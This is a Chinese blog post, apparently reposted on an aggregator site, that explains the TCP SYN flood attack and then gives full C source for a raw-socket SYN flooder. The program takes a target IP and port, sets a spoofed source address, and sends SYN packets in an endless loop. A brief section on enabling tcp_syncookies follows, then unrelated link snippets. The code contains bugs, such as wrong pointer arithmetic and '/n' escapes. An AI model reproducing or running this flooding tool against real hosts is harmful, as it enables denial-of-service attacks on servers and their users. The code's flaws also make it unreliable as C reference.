TCP/IP学习--syn flag flooding实作

2023-10-27

   syn flag flooding:一台机器在网络中通讯时首先需要建立TCP握手,标准的TCP握手需要三次包交换来建立。一台服务器一旦接收到客户机的SYN包后必须回应一个SYN/ACK包,然后等待该客户机回应给它一个ACK包来确认,才真正建立连接。然而,如果只发送初始化的 SYN包,而不发送确认服务器的ACK包会导致服务器一直等待ACK包。由于服务器在有限的时间内只能响应有限数量的连接,这就会导致服务器一直等待回应 而无法响应其他机器进行的连接请求。 

 

#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#define URG 32
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1

struct ipheader {
    unsigned char      iph_ihl:5,
               iph_ver:4;
    unsigned char       iph_tos;
    unsigned short int iph_len;
    unsigned short int iph_ident;
    unsigned char       iph_flags;
    unsigned short int iph_offset;
    unsigned char       iph_ttl;
    unsigned char        iph_protocol;
    unsigned short int iph_chksum;
    unsigned int       iph_sourceip;
    unsigned int       iph_destip;
};
struct tcpheader {
    unsigned short int tcph_srcport;
    unsigned short int tcph_destport;
    unsigned int        tcph_seqnum;
    unsigned int        tcph_acknum;
    unsigned char       tcph_reserved:4,
               tcph_offset:4;
    unsigned int       tcp_res1:4,
               tcph_hlen:4,
               tcph_fin:1,
               tcph_syn:1,
               tcph_rst:1,
               tcph_psh:1,
               tcph_ack:1,
               tcph_urg:1,
               tcph_res2:2;
    unsigned short int tcph_win;
    unsigned short int tcph_chksum;
    unsigned short int tcph_urgptr;
};

//check sum function
unsigned short check_sum(unsigned short *buf,int nwords){
    unsigned long sum;
    for(sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum &0xffff);
    sum += (sum  >>16);
    return (unsigned short)(~sum);
}

int main(int argc,char *argv[]) {
    int s = socket(PF_INET,SOCK_RAW,IPPROTO_TCP);
    char datagram[4096];
    struct ipheader *iph = (struct ipheader *) datagram;
    struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof(struct ipheader);
    struct sockaddr_in sin;
    if(argc != 3) {
        printf("Invalid parameters!/n");
        printf("Usage:%s <target ip/hostname> <port to be flooded>/n",argv[0]);
        exit(-1);
    }
    unsigned int floodport = atoi(argv[2]);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(floodport);
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    memset(datagram,0,4096);
    iph->iph_ihl = 5;
    iph->iph_ver = 4;
    iph->iph_tos = 0;
    iph->iph_len = sizeof(struct ipheader) + sizeof(struct tcpheader);
    iph->iph_ident = htonl(54321);
    iph->iph_offset = 0;
    iph->iph_ttl = 255;
    iph->iph_protocol = 6;
    iph->iph_chksum = 0;
    iph->iph_sourceip = inet_addr("127.0.0.1");
    iph->iph_destip = sin.sin_addr.s_addr;
    tcph->tcph_srcport = htons(5678);
    tcph->tcph_destport = htons(floodport);
    tcph->tcph_seqnum = random();
    tcph->tcph_acknum = 0;
    tcph->tcph_res2 = 0;
    tcph->tcph_offset = 0;
    tcph->tcph_syn = 0x02;
    tcph->tcph_chksum = 0;
    tcph->tcph_urgptr = 0;
    iph->iph_chksum = check_sum((unsigned short *)datagram,iph->iph_len >> 1);
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,val,sizeof(tmp)) < 0) {
        printf("Error: setsockopt() - cannot set hdrincl!/n");
        exit(-1);
    } else
        printf("ok,using you won header!/n");
    while(1) {
        if(sendto(s,datagram,iph->iph_len,0,(struct sockaddr *)&sin,sizeof(sin)) < 0)
            printf("sendto() error!!!!/n");
        else
            printf("Flooding %s at %u..../n",argv[1],floodport);
    }
    return 0;
}

 

 

 

 

   一种新型的防御攻击的方式—— TCP Cookie,TCP Cookie 技术针对 TCP 协议的软肋,做出了一些改进,只需要在系统中开启tcp_syncookies。

   1. 在 /etc/rc.d/rc.local中添加

      echo 1 > /proc/sys/net/ipv4/tcp_syncookies

   2. 编辑/etc/sysctl.conf 文件

       net.ipv4.tcp_syncookies = 1

   3. 重启系统

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

TCP/IP学习--syn flag flooding实作 的相关文章

  • 为什么Java不支持结构体? (只是出于好奇)

    我知道您可以使用公共字段或其他一些解决方法 或者也许你根本不需要它们 但只是出于好奇为什么 Sun 没有考虑结构 这是一个link http www oracle com technetwork java simple 142616 htm
  • JavaScript 调用函数

    我最近一直在测试一些代码 试图更好地理解 javascript 然后我遇到了call 我无法很好地理解的功能 我有以下代码 function hi console log hi var bye function param param2 c
  • C# Socket.receive连续接收0字节且循环中不阻塞

    我正在尝试用 C 编写一个最简单的多线程 TCP 服务器 它接收来自多个客户端的数据 每次连接新客户端时 都会建立套接字连接 并将套接字作为参数传递给新类函数 之后运行 while 循环并接收数据 直到客户端连接为止 这里的问题是 sock
  • 如何在存储过程中调用存储过程(带2个参数)?

    我有具有相同参数 服务器名称和日期 的存储过程 我想编写一个存储过程并在该 SP 中执行它们 称为 SP All CREATE PROCEDURE dbo SP All AS BEGIN exec sp 1 myDate datetime
  • ZeroMQ可以用来接受传统的套接字请求吗?

    我正在尝试使用 ZeroMQ 重写我们的旧服务器之一 现在我有以下服务器设置 适用于 Zmq 请求 using var context ZmqContext Create using var server context CreateSoc
  • 为什么turn服务器不支持tcp连接?

    我是 WebRTC 新手 我需要为我的 webrtc 应用程序配置我自己的 Turn 服务器 我使用以下命令安装了我的转弯服务器 apt get install coturn 我只需要通过 tcp 运行转变服务器 它不必使用 UDP 进行任
  • 结构中字符串的管理

    我知道字符串的长度是可变的 因此它们需要内存中的可变空间来存储 当我们在 a 中定义一个字符串项时struct the struct的大小的长度将是可变的 较旧的语言通过使用固定长度的字符串来管理此问题 但是 C 中没有办法定义固定长度的字
  • * 对于结构体来说是非法的吗?

    我尝试编译以下代码 但编译器不会执行此操作 因为 对于结构来说是非法的 这是真的吗 struct String int length int capacity unsigned check char ptr 0 String void ma
  • Zend url:获取参数始终保留在 url 中

    我在使用带有 get 参数的 Zend url 帮助器时遇到一些问题 在一个视图中 我有分页 它在 get 中发送额外的参数 所以在 url 中 所以没关系 但这是不行的 即使我更改页面 参数也始终保留在 url 中 事实上 zend ur
  • 是否可以找到哪个用户位于 localhost TCP 连接的另一端?

    这是一个编程问题 但它是 Linux Unix 特定的 如果我从本地主机获得 TCP 连接 是否有一种简单的方法可以告诉哪个用户在 C 程序内建立了连接而无需 shell 我知道这对于 Unix 域套接字来说并不太难 我已经知道远程 IP
  • 在Python中计算结构体的CRC

    我有以下结构 来自 C 中的 NRPE 守护程序代码 typedef struct packet struct int16 t packet version int16 t packet type uint32 t crc32 value
  • 访问 AWS 上的 Tensorboard

    我正在尝试访问 AWS 上的 Tensorboard 这是我的设置 张量板 tensorboard host 0 0 0 0 logdir train 在端口 6006 上启动 TensorBoard b 39 您可以导航到http 172
  • 带有泛型类声明的命名空间约束

    我想知道是否 如果可以的话如何 可以将命名空间定义为泛型类声明中的约束参数 我所拥有的是这样的 namespaceMyProject Models Entities namespaceMyProject Tests BaseTest 现在我
  • 为什么 UDP 服务器中只有一个套接字?

    我正在准备考试 发现了这个问题 典型的 UDP 服务器可以使用单个套接字来实现 解释一下为什么 对于 TCP 驱动的服务器 我发现创建了两个套接字 一个用于所有客户端访问服务器 另一个用于每个客户端的特定 套接字 用于服务器和客户端之间的进
  • 向控制器发送参数

    我懂了
  • 如何在 switch 语句中将向量作为参数传递

    我对问题的谷歌搜索没有返回有用的结果和文档 switch没有告诉我如何做 所以我希望我能在这里得到答案 假设我有一个向量 cases lt c one two three 我想使用 switch 语句并将这些元素作为 switch 语句的参
  • 如何查找连接到 AF_INET 套接字的客户端的 UID?

    有什么方法或类似的东西ucred for AF UNIX如果是AF INET插座 TCP在我的例子中 找出连接到我的套接字的客户端的UID 还有 proc net tcp但它显示了UID of the creator插座的而不是连接的cli
  • 触发“对等方重置连接”

    我想测试当发生 对等方重置连接 错误时我们的应用程序 嵌入式 ftp 服务器 中发生的日志记录 这个帖子 https stackoverflow com questions 1434451 connection reset by peer很
  • 将 < 或 > 运算符作为参数传递给函数?

    我的函数里面有一个if 像这样的声明 if passedValue lt staticValue 但我需要能够传递一个参数来指示 if 表达式是像上面那样还是 if passedValue gt staticValue 但我真的无法通过 l
  • 在 Go 中初始化嵌入结构

    我有以下内容struct其中包含一个net http Request type MyRequest struct http Request PathParams map string string 现在我想初始化匿名内部结构http Req

随机推荐

  • 备份Vss工程&建立Vss目录安全体系

    一 使用备份文件 ssa进行恢复时 1 若原来作的是archive all the date的备份 并且没有将原project删除 则 永久删除 原来的project再作恢复 2 若原来作的 archive this version and
  • springboot连接redis并动态切换database

    springboot连接redis并动态切换database 众所周知 redis多有个db 在jedis中可以使用select方法去动态的选择redis的database 但在springboot提供的StringRedisTemplat
  • KVM虚拟机热扩容

    创建一个虚拟机用于练习在线扩容 virt install name centos8 3 memory 4096 currentMemory 1024 vcpus 2 maxvcpus 8 disk var lib libvirt image
  • 解决echarts饼图显示百分比,和显示内容字体及大小,如何给eCharts饼图区域指定颜色

    解决echarts饼图显示百分比 和显示内容字体及大小 基于准备好的dom 初始化echarts实例 var pieEchart echarts init document getElementById pieEchart 指定图表的配置项
  • 模糊查询java.sql.SQLException: ORA-00933: SQL 命令未正确结束 踩坑经历

    ORA 00933 1 仔细检查sql语句是否缺少逗号 2 关键字是否缺少空格 3 SQL语句中缺少关键字或者多了某个关键字 and 4 在做模糊查询时 在仔细反复检查SQL语句的前提下 未发现错误 在数据库中能正确运行 控制台就报java
  • linux下acm串口读写,使用socat将Linux终端从串口转发到TCP

    我正在开发嵌入式ARM平台Slackware 我正在使用G24 Java调制解调器 它配置为在端口 dev ttyS1和 dev ttyACM0之间转发数据 因此任何进入任何这些端口的东西都可以在另一个端口上看到 我想在其中一个端口 dev
  • 常用的前端地图框架(WebGIS框架)

    常用的前端地图框架 WebGIS框架 1 Leaflet Leaflet 是最著名的前端地图可视化库 它开源 体积小 结构清晰 简单易用 2 Mapbox GL JS Mapbox GL JS 是目前最新潮的前端地图库 它的矢量压缩 动态样
  • 虚函数表

    虚函数表是实现多态的核心 所谓多态 就是 一个函数 多种实现 当我们通过类指针或引用调用一个函数接口时 编译器在运行期间将会根据该指针或引用实际指向的对象来调用函数 而这就是通过虚函数表来实现的 换种方式说 虚函数表 完成了动态联编中寻找虚
  • 难学吗计算机网络,自学计算机网络技术难吗?应该怎么学?

    感谢邀请 根据我所知道的回答一下这个问题 小编本科学习的数学 根计算机网络不搭边 后来工作中因为需要 学习的计算机网络 根据自己的学习历程说一说哈 如有不当请批评指正 网络基础很重要网络基础知识犹如地基 非常重要 理解网络设备的配置命令 排
  • java calendar 天_Java Calendar getActualMaximum()用法及代码示例

    Calendar类的getActualMaximum int field value 方法用于根据此Calendar的时间值返回指定日历字段可能具有的最大值 用法 public int getActualMaximum int field
  • python爬虫之图形验证码学习

    python爬虫之图形验证码学习 1 Tesseract介绍 2 Tesseract安装 3 Tesseract使用 4 打码云平台 1 Tesseract介绍 有时候我们在登录或者请求一些数据时候会遇到图形验证码 因此我们引入一种能将图片
  • Android版本28用http请求CLEARTEXT communication to www.xxxxx.com not permitted by network security policy

    Android版本28报错 CLEARTEXT communication to www xxxx com not permitted by network security policy 2019 10 09 17 37 35 394 1
  • 06 Cesium—基于Cesium ion的添加地形

    文章中所有操作均是在 Cesium 1 91 版本下进行的 其它版本差异请自行适配 Cesium ion Cesium ion 是一个提供瓦片图和3D地理空间数据的平台 Cesium ion 支持把数据添加到用户自己的 CesiumJS 应
  • 径向基-薄板样条插值数学公式、原理,以及代码实现基本过程

    径向基插值部分 有关径向基插值的基本概念参考 https blog csdn net qq 18343569 article details 48227839 isappinstalled 0 from groupmessage 径向基函数
  • 高斯-勒让德求积公式及Matlab实现

    初学Markdown编辑器 编排及内容错误请指正 谢谢 1 引言 众所周知 微积分的两大部分是微分与积分 微分实际上是求一函数的导数 而积分是已知一函数的导数 求这一函数 所以 微分与积分互为逆运算 实际上 积分还可以分为两部分 第一种 是
  • TeamViewer远程的三种访问模式 (最方便的模式无需输入密码)

    先说明一下什么是无人值守访问 顾名思义 就是在电脑另一端没有人的时候 也可以使用TeamViewer进行远程控制 无需另一端电脑确认 实际上下面三种模式都是无人值守访问 亲测都可以直接远程 当然 另一端的电脑必须是TeamViewer启动的
  • VC编译的五子棋游戏核心算法分析(附源码)

    转载请标明是引用于 http blog csdn net chenyujing1234 前段时间在CSDN的资源里载得五子棋VC的源码 由于忘了链接地址 这里没有标明出处 请作者谅解 但我也把在VS2005上编译通过且加入清楚的注释的源码放
  • 全国计算机等级考试题库二级C操作题100套(第85套)

    第85套 给定程序的功能是调用fun函数建立班级通讯录 通讯录中记录每位学生的编号 姓名和电话号码 班级的人数和学生的信息从键盘读入 每个人的信息作为一个数据块写到名为myfile5 dat的二进制文件中 请在程序的下划线处填入正确的内容并
  • I2C通信读写数据过程

    1 先来看读数据的操作流程 这里面需要注意的有 I2C通信启动后面不需要等待应答信号 写入数据地址之后 下一步不能直接进行读取数据 需要先再一次地开启动I2C通信才可以 程序如下 u8 x24c02 Read u8 address u8 d
  • TCP/IP学习--syn flag flooding实作

    syn flag flooding 一台机器在网络中通讯时首先需要建立TCP握手 标准的TCP握手需要三次包交换来建立 一台服务器一旦接收到客户机的SYN包后必须回应一个SYN ACK包 然后等待该客户机回应给它一个ACK包来确认 才真正建